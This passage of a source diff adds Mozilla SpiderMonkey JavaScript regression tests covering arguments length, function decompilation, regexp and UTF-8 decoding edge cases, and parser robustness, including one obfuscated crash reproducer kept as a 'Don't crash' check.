+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Bob Clary
+ */
+
+
+//-----------------------------------------------------------------------------
+// SUMMARY: 10.1.8 Arguments Object length
+
+var BUGNUMBER = 162392;
+var summary = 'eval("arguments").length == 0 when no arguments specified';
+var actual = noargslength();
+var expect = 0;
+
+function noargslength()
+{
+ enterFunc('noargslength');
+ return eval('arguments').length;
+ exitFunc('noargslength');
+}
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-165201.js b/js/src/tests/js1_5/Regress/regress-165201.js
new file mode 100644
index 000000000..de5828c3d
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-165201.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 165201;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+summary = 'RegExp.prototype.toSource should not affect RegExp.prototype.toString';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/*
+ * Define function returning a regular expression literal
+ * and override RegExp.prototype.toSource
+ */
+
+function f()
+{
+ return /abc/;
+}
+
+RegExp.prototype.toSource = function() { return 'Hi there'; };
+
+expect = -1;
+actual = f.toString().indexOf('Hi there');
+
+reportCompare(expect, actual, summary);
+
+/*
+ * Define function returning an array literal
+ * and override RegExp.prototype.toSource
+ */
+summary = 'Array.prototype.toSource should not affect Array.prototype.toString';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function g()
+{
+ return [1,2,3];
+}
+
+Array.prototype.toSource = function() { return 'Hi there'; }
+
+ expect = -1;
+actual = g.toString().indexOf('Hi there');
+
+reportCompare(expect, actual, summary);
+
+
diff --git a/js/src/tests/js1_5/Regress/regress-167328.js b/js/src/tests/js1_5/Regress/regress-167328.js
new file mode 100644
index 000000000..88ebe8d1e
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-167328.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 167328;
+var summary = 'Normal error reporting code should fill Error object properties';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'TypeError:19';
+try
+{
+ var obj = {toString: function() {return new Object();}};
+ var result = String(obj);
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = e.name + ':' + e.lineNumber;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-167658.js b/js/src/tests/js1_5/Regress/regress-167658.js
new file mode 100644
index 000000000..3b4ed3f2e
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-167658.js
@@ -0,0 +1,28 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 167658;
+var summary = 'Do not crash due to js_NewRegExp initialization';
+var actual = 'No Crash';
+var expect = 'No Crash';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var UBOUND=100;
+for (var j=0; j<UBOUND; j++)
+{
+ 'Apfelkiste, Apfelschale'.replace('Apfel', function()
+ {
+ for (var i = 0; i < arguments.length; i++)
+ printStatus(i+': '+arguments[i]);
+ return 'Bananen';
+ });
+
+ printStatus(j);
+}
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/js1_5/Regress/regress-168347.js b/js/src/tests/js1_5/Regress/regress-168347.js
new file mode 100644
index 000000000..5754c4fff
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-168347.js
@@ -0,0 +1,186 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 13 Sep 2002
+ * SUMMARY: Testing F.toString()
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=168347
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 168347;
+var summary = "Testing F.toString()";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var FtoString = '';
+var sFunc = '';
+
+sFunc += 'function F()';
+sFunc += '{';
+sFunc += ' var f = arguments.callee;';
+sFunc += ' f.i = 0;';
+sFunc += '';
+sFunc += ' try';
+sFunc += ' {';
+sFunc += ' f.i = f.i + 1;';
+sFunc += ' print("i = i+1 succeeded \ti = " + f.i);';
+sFunc += ' }';
+sFunc += ' catch(e)';
+sFunc += ' {';
+sFunc += ' print("i = i+1 failed with " + e + "\ti = " + f.i);';
+sFunc += ' }';
+sFunc += '';
+sFunc += ' try';
+sFunc += ' {';
+sFunc += ' ++f.i;';
+sFunc += ' print("++i succeeded \t\ti = " + f.i);';
+sFunc += ' }';
+sFunc += ' catch(e)';
+sFunc += ' {';
+sFunc += ' print("++i failed with " + e + "\ti = " + f.i);';
+sFunc += ' }';
+sFunc += '';
+sFunc += ' try';
+sFunc += ' {';
+sFunc += ' f.i++;';
+sFunc += ' print("i++ succeeded \t\ti = " + f.i);';
+sFunc += ' }';
+sFunc += ' catch(e)';
+sFunc += ' {';
+sFunc += ' print("i++ failed with " + e + "\ti = " + f.i);';
+sFunc += ' }';
+sFunc += '';
+sFunc += ' try';
+sFunc += ' {';
+sFunc += ' --f.i;';
+sFunc += ' print("--i succeeded \t\ti = " + f.i);';
+sFunc += ' }';
+sFunc += ' catch(e)';
+sFunc += ' {';
+sFunc += ' print("--i failed with " + e + "\ti = " + f.i);';
+sFunc += ' }';
+sFunc += '';
+sFunc += ' try';
+sFunc += ' {';
+sFunc += ' f.i--;';
+sFunc += ' print("i-- succeeded \t\ti = " + f.i);';
+sFunc += ' }';
+sFunc += ' catch(e)';
+sFunc += ' {';
+sFunc += ' print("i-- failed with " + e + "\ti = " + f.i);';
+sFunc += ' }';
+sFunc += '}';
+
+
+/*
+ * Use sFunc to define the function F. The test
+ * then rests on comparing F.toString() to sFunc.
+ */
+eval(sFunc);
+
+
+/*
+ * There are trivial whitespace differences between F.toString()
+ * and sFunc. So strip out whitespace before comparing them -
+ */
+sFunc = stripWhite(sFunc);
+FtoString = stripWhite(F.toString());
+
+
+/*
+ * Break comparison into sections to make any failures
+ * easier for the developer to track down -
+ */
+status = inSection(1);
+actual = FtoString.substring(0,100);
+expect = sFunc.substring(0,100);
+addThis();
+
+status = inSection(2);
+actual = FtoString.substring(100,200);
+expect = sFunc.substring(100,200);
+addThis();
+
+status = inSection(3);
+actual = FtoString.substring(200,300);
+expect = sFunc.substring(200,300);
+addThis();
+
+status = inSection(4);
+actual = FtoString.substring(300,400);
+expect = sFunc.substring(300,400);
+addThis();
+
+status = inSection(5);
+actual = FtoString.substring(400,500);
+expect = sFunc.substring(400,500);
+addThis();
+
+status = inSection(6);
+actual = FtoString.substring(500,600);
+expect = sFunc.substring(500,600);
+addThis();
+
+status = inSection(7);
+actual = FtoString.substring(600,700);
+expect = sFunc.substring(600,700);
+addThis();
+
+status = inSection(8);
+actual = FtoString.substring(700,800);
+expect = sFunc.substring(700,800);
+addThis();
+
+status = inSection(9);
+actual = FtoString.substring(800,900);
+expect = sFunc.substring(800,900);
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+/*
+ * Remove any whitespace characters; also
+ * any escaped tabs or escaped newlines.
+ */
+function stripWhite(str)
+{
+ var re = /\s|\\t|\\n/g;
+ return str.replace(re, '');
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-170193.js b/js/src/tests/js1_5/Regress/regress-170193.js
new file mode 100644
index 000000000..0ca20f5a3
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-170193.js
@@ -0,0 +1,77 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 22 Sep 2002
+ * SUMMARY: adding prop after middle-delete of function w duplicate formal args
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=170193
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 170193;
+var summary = 'adding property after middle-delete of function w duplicate formal args';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+/*
+ * This sequence of steps used to cause the SpiderMonkey shell to hang -
+ */
+function f(a,a,b){}
+f.c=42;
+f.d=43;
+delete f.c; // "middle delete"
+f.e=44;
+
+status = inSection(1);
+actual = f.c;
+expect = undefined;
+addThis();
+
+status = inSection(2);
+actual = f.d;
+expect = 43;
+addThis();
+
+status = inSection(3);
+actual = f.e;
+expect = 44;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-172699.js b/js/src/tests/js1_5/Regress/regress-172699.js
new file mode 100644
index 000000000..333f99f27
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-172699.js
@@ -0,0 +1,72 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 07 Oct 2002
+ * SUMMARY: UTF-8 decoder should not accept overlong sequences
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=172699
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 172699;
+var summary = 'UTF-8 decoder should not accept overlong sequences';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+expect = "URIError thrown";
+try
+{
+ decodeURI("%C0%AF");
+ actual = "no error thrown";
+}
+catch (e)
+{
+ if (e instanceof URIError)
+ actual = "URIError thrown";
+ else if (e instanceof Error)
+ actual = "wrong error thrown: " + e.name;
+ else
+ actual = "non-error thrown: " + e;
+}
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-173067.js b/js/src/tests/js1_5/Regress/regress-173067.js
new file mode 100644
index 000000000..9b8542ccd
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-173067.js
@@ -0,0 +1,25 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 173067;
+var summary = 'Properly report / in a literal regexp class as an error';
+var actual = '';
+var expect = 'SyntaxError: unterminated character class ';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ var re = eval('/[/]/');
+}
+catch(e)
+{
+ actual = e.toString();
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-174709.js b/js/src/tests/js1_5/Regress/regress-174709.js
new file mode 100644
index 000000000..8b839a912
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-174709.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 174709;
+var summary = 'Don\'t Crash';
+var actual = 'FAIL';
+var expect = 'PASS';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/* code removed until replacement can be created. */
+
+/* crash and burn */
+
+var G2z=["ev","sta","fro","cha","le",[""]];
+var qS0=[];
+qS0.push("G"+2);
+qS0.push("z");
+var kJ6=this[qS0.join("")];
+kJ6[0]+="a";
+kJ6[1]+="rtX";
+kJ6[2]+="mCha";
+kJ6[3]+="rCo";
+kJ6[4]+="ngt";
+function heW(){}
+heW.prototype={};
+var b2V=new Array();
+b2V.push("k");
+b2V.push("J");
+b2V.push(6);
+var Co4=this[b2V.join("")];
+Co4[0]+="l";
+Co4[1]+="opu";
+Co4[2]+="rCo";
+Co4[3]+="deA";
+Co4[4]+="h";
+
+var Ke1=[];
+Ke1.push("C");
+Ke1.push("o");
+Ke1.push(4);
+var Qp3=this[Ke1.join("")];
+Qp3[1]+="s";
+Qp3[2]+="de";
+Qp3[3]+="t";
+
+var kh1=Qp3[5][Qp3[4]];
+
+var l8q=[];
+l8q.push("g".toUpperCase());
+l8q.push(2);
+l8q.push("z");
+/* var e2k=window[l8q.join("")];*/
+var e2k=eval(l8q.join(""));
+for (Qp3[5][kh1] in this)
+ for (Qp3[5][kh1+1] in this)
+ if (Qp3[5][kh1] > Qp3[5][kh1+1] &&
+ Qp3[5][kh1][e2k[4]] == Qp3[5][kh1+1][e2k[4]] &&
+ Qp3[5][kh1].substr(kh1,kh1+1) == Qp3[5][kh1+1].substr(kh1,kh1+1))
+ Qp3[5][kh1 + 2] = Qp3[5][kh1];
+
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-176125.js b/js/src/tests/js1_5/Regress/regress-176125.js
new file mode 100644
index 000000000..8334b2b79
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-176125.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 176125;
+var summary = 'if() should not return a value';
+var actual = '';
+var expect = 'undefined';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ printStatus('if (test1());');
+ actual = typeof eval('if (test1());');
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary + ': if (test1());');
+
+try
+{
+ printStatus('if (test2());');
+ actual = typeof eval('if (test2());');
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary + ': if (test2());');
+
+
+function test1()
+{
+ 'Hi there!';
+}
+
+function test2()
+{
+ test1();
+ return false;
+}
diff --git a/js/src/tests/js1_5/Regress/regress-179524.js b/js/src/tests/js1_5/Regress/regress-179524.js
new file mode 100644
index 000000000..f4ab67f7e
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-179524.js
@@ -0,0 +1,295 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 11 Nov 2002
+ * SUMMARY: JS shouldn't crash on extraneous args to str.match(), etc.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=179524
+ *
+ * Note that when testing str.replace(), we have to be careful if the first
+ * argument provided to str.replace() is not a regexp object. ECMA-262 says
+ * it is NOT converted to one, unlike the case for str.match(), str.search().
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=83293#c21. This means
+ * we have to be careful how we test meta-characters in the first argument
+ * to str.replace(), if that argument is a string -
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 179524;
+var summary = "Don't crash on extraneous arguments to str.match(), etc.";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+str = 'ABC abc';
+var re = /z/ig;
+
+status = inSection(1);
+actual = str.match(re);
+expect = null;
+addThis();
+
+status = inSection(2);
+actual = str.match(re, 'i');
+expect = null;
+addThis();
+
+status = inSection(3);
+actual = str.match(re, 'g', '');
+expect = null;
+addThis();
+
+status = inSection(4);
+actual = str.match(re, 'z', new Object(), new Date());
+expect = null;
+addThis();
+
+
+/*
+ * Now try the same thing with str.search()
+ */
+status = inSection(5);
+actual = str.search(re);
+expect = -1;
+addThis();
+
+status = inSection(6);
+actual = str.search(re, 'i');
+expect = -1;
+addThis();
+
+status = inSection(7);
+actual = str.search(re, 'g', '');
+expect = -1;
+addThis();
+
+status = inSection(8);
+actual = str.search(re, 'z', new Object(), new Date());
+expect = -1;
+addThis();
+
+
+/*
+ * Now try the same thing with str.replace()
+ */
+status = inSection(9);
+actual = str.replace(re, 'Z');
+expect = str;
+addThis();
+
+status = inSection(10);
+actual = str.replace(re, 'Z', 'i');
+expect = str;
+addThis();
+
+status = inSection(11);
+actual = str.replace(re, 'Z', 'g', '');
+expect = str;
+addThis();
+
+status = inSection(12);
+actual = str.replace(re, 'Z', 'z', new Object(), new Date());
+expect = str;
+addThis();
+
+
+
+/*
+ * Now test the case where str.match()'s first argument is not a regexp object.
+ * In that case, JS follows ECMA-262 Ed.3 by converting the 1st argument to a
+ * regexp object using the argument as a regexp pattern, but then extends ECMA
+ * by taking any optional 2nd argument to be a regexp flag string (e.g.'ig').
+ *
+ * Reference: http://bugzilla.mozilla.org/show_bug.cgi?id=179524#c10
+ */
+status = inSection(13);
+actual = str.match('a').toString();
+expect = str.match(/a/).toString();
+addThis();
+
+status = inSection(14);
+actual = str.match('a', 'i').toString();
+expect = str.match(/a/).toString();
+addThis();
+
+status = inSection(15);
+actual = str.match('a', 'ig').toString();
+expect = str.match(/a/).toString();
+addThis();
+
+status = inSection(16);
+actual = str.match('\\s', 'm').toString();
+expect = str.match(/\s/).toString();
+addThis();
+
+
+/*
+ * Now try the previous three cases with extraneous parameters
+ */
+status = inSection(17);
+actual = str.match('a', 'i', 'g').toString();
+expect = str.match(/a/).toString();
+addThis();
+
+status = inSection(18);
+actual = str.match('a', 'ig', new Object()).toString();
+expect = str.match(/a/).toString();
+addThis();
+
+status = inSection(19);
+actual = str.match('\\s', 'm', 999).toString();
+expect = str.match(/\s/).toString();
+addThis();
+
+status = inSection(20);
+actual = str.match('a', 'z').toString();
+expect = str.match(/a/).toString();
+addThis();
+
+
+
+/*
+ * Now test str.search() where the first argument is not a regexp object.
+ * The same considerations as above apply -
+ *
+ * Reference: http://bugzilla.mozilla.org/show_bug.cgi?id=179524#c16
+ */
+status = inSection(21);
+actual = str.search('a');
+expect = str.search(/a/);
+addThis();
+
+status = inSection(22);
+actual = str.search('a', 'i');
+expect = str.search(/a/);
+addThis();
+
+status = inSection(23);
+actual = str.search('a', 'ig');
+expect = str.search(/a/);
+addThis();
+
+status = inSection(24);
+actual = str.search('\\s', 'm');
+expect = str.search(/\s/);
+addThis();
+
+
+/*
+ * Now try the previous three cases with extraneous parameters
+ */
+status = inSection(25);
+actual = str.search('a', 'i', 'g');
+expect = str.search(/a/);
+addThis();
+
+status = inSection(26);
+actual = str.search('a', 'ig', new Object());
+expect = str.search(/a/);
+addThis();
+
+status = inSection(27);
+actual = str.search('\\s', 'm', 999);
+expect = str.search(/\s/);
+addThis();
+
+status = inSection(28);
+actual = str.search('a', 'z');
+expect = str.search(/a/);
+addThis();
+
+
+
+/*
+ * Now test str.replace() where the first argument is not a regexp object.
+ * The same considerations as above apply, EXCEPT for meta-characters.
+ * See introduction to testcase above. References:
+ *
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=179524#c16
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=83293#c21
+ */
+status = inSection(29);
+actual = str.replace('a', 'Z');
+expect = str.replace(/a/, 'Z');
+addThis();
+
+status = inSection(30);
+actual = str.replace('a', 'Z', 'i');
+expect = str.replace(/a/, 'Z');
+addThis();
+
+status = inSection(31);
+actual = str.replace('a', 'Z', 'ig');
+expect = str.replace(/a/, 'Z');
+addThis();
+
+status = inSection(32);
+actual = str.replace('\\s', 'Z', 'm'); //<--- NO!!! No meta-characters 1st arg!
+actual = str.replace(' ', 'Z', 'm'); //<--- Have to do this instead
+expect = str.replace(/\s/, 'Z');
+addThis();
+
+
+/*
+ * Now try the previous three cases with extraneous parameters
+ */
+status = inSection(33);
+actual = str.replace('a', 'Z', 'i', 'g');
+expect = str.replace(/a/, 'Z');
+addThis();
+
+status = inSection(34);
+actual = str.replace('a', 'Z', 'ig', new Object());
+expect = str.replace(/a/, 'Z');
+addThis();
+
+status = inSection(35);
+actual = str.replace('\\s', 'Z', 'm', 999); //<--- NO meta-characters 1st arg!
+actual = str.replace(' ', 'Z', 'm', 999); //<--- Have to do this instead
+expect = str.replace(/\s/, 'Z');
+addThis();
+
+status = inSection(36);
+actual = str.replace('a', 'Z', 'z');
+expect = str.replace(/a/, 'Z');
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-185165.js b/js/src/tests/js1_5/Regress/regress-185165.js
new file mode 100644
index 000000000..d207d95bb
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-185165.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 13 Dec 2002
+ * SUMMARY: Decompilation of "\\" should give "\\"
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=185165
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 185165;
+var summary = 'Decompilation of "\\\\" should give "\\\\"';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// Check that second decompilation of script gives the same string as first one
+var f1 = function() { return "\\"; }
+ var s1 = f1.toString();
+
+var f2;
+eval("f2=" + s1);
+var s2 = f2.toString();
+
+status = inSection(1);
+actual = s2;
+expect = s1;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-191633.js b/js/src/tests/js1_5/Regress/regress-191633.js
new file mode 100644
index 000000000..74b17b8b1
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-191633.js
@@ -0,0 +1,73 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 03 February 2003
+ * SUMMARY: Testing script with huge number of comments
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=191633
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 191633;
+var summary = 'Testing script with huge number of comments';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = false; // initialize to failure
+var s = repeat_str("//\n", 40000); // Build a string of 40000 lines of comments
+eval(s + "actual = true;");
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function repeat_str(str, repeat_count)
+{
+ var arr = new Array(repeat_count);
+
+ while (repeat_count != 0)
+ arr[--repeat_count] = str;
+
+ return str.concat.apply(str, arr);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-191668.js b/js/src/tests/js1_5/Regress/regress-191668.js
new file mode 100644
index 000000000..db35a9537
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-191668.js
@@ -0,0 +1,70 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 03 February 2003
+ * SUMMARY: Testing script containing <!- at internal buffer boundary.
+ * JS parser must look for HTML comment-opener <!--, but mustn't disallow <!-
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=191668
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 191668;
+var summary = 'Testing script containing <!- at internal buffer boundary';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var N = 512;
+var j = 0;
+var str = 'if (0<!-0) ++j;';
+
+for (var i=0; i!=N; ++i)
+{
+ eval(str);
+ str = ' ' + str;
+}
+
+status = inSection(1);
+actual = j;
+expect = N;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-192414.js b/js/src/tests/js1_5/Regress/regress-192414.js
new file mode 100644
index 000000000..e6fadaadd
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-192414.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 08 February 2003
+ * SUMMARY: Parser recursion should check stack overflow
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=192414
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
